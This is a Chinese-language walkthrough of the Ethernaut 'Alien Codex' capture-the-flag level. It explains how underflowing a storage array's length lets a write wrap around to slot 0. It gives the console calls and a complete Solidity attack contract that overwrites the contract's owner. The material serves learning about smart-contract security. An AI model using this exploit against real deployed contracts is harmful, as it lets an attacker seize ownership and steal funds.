本關重點在於了解storage中的array underflow及如何計算array中元素於storage中的儲存位置。
首先觀看代碼,會發現所有函數都需要contact = true才能呼叫。打開Console (F12),呼叫make_contact函數︰
contract.make_contact()
此時可查看storage中codex內存儲的數據︰
> await web3.eth.getStorageAt(instance, 1);
< "0x0000000000000000000000000000000000000000000000000000000000000000"
codex是一個bytes32的array,於slot 1 中的存放的是array的長度,而array中實際元素的數據則是以另一方法另外存儲的,於下方會有解說。
此時若我們呼叫retract函數可令codex這個array underflow︰
contract.retract()
呼叫後再次查看slot 1 中的數據︰
> await web3.eth.getStorageAt(instance, 1);
< "0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
可以看見slot 1 中的array長度underflow成最大值。
回想起關卡的要求,我們需要改寫owner的值,而owner的值位於slot 0。因此只要計算出一個array元素的位置,該元素的位置因為overflow了storage的最大存儲量2^256 slots,則該元素位置會指向slot 0。此時改寫該codex元素則等同改寫owner的值。
要算出該值首先要知道array中元素在storage中slot位置的算式,該算式很簡單︰
keccak256(slot) + index
codex這個array定義在slot 1,因此第一個元素位於slot keccak256(1) + 0,第二個元素位於slot keccak256(1) + 1,如此類推。
Storage中slot的最大數為2^256,值為 0 – 2^256-1,因為只要把值寫在slot 2^256即會overflow成slot 0。
整合上面的算式,即︰
2^256 = keccak256(slot) + index
重新排列一下,亦即︰
index = 2^256 - keccak256(slot)
只要調用revise函數,將player的地址寫入codex[2^256 – keccak256(slot)],即可覆蓋原owner的地址完成此關。
打開Remix IDE,新建檔案AlienCodex.sol貼上︰
pragma solidity ^0.8.0;
interface IAlienCodex {
function revise(uint i, bytes32 _content) external;
}
contract AlienCodex {
address levelInstance;
constructor(address _levelInstance) {
levelInstance = _levelInstance;
}
function claim() public {
unchecked{
uint index = uint256(2)**uint256(256) - uint256(keccak256(abi.encodePacked(uint256(1))));
IAlienCodex(levelInstance).revise(index, bytes32(uint256(uint160(msg.sender))));
}
}
}
在Remix IDE中,呼叫claim函數。最後按提交,本關完成。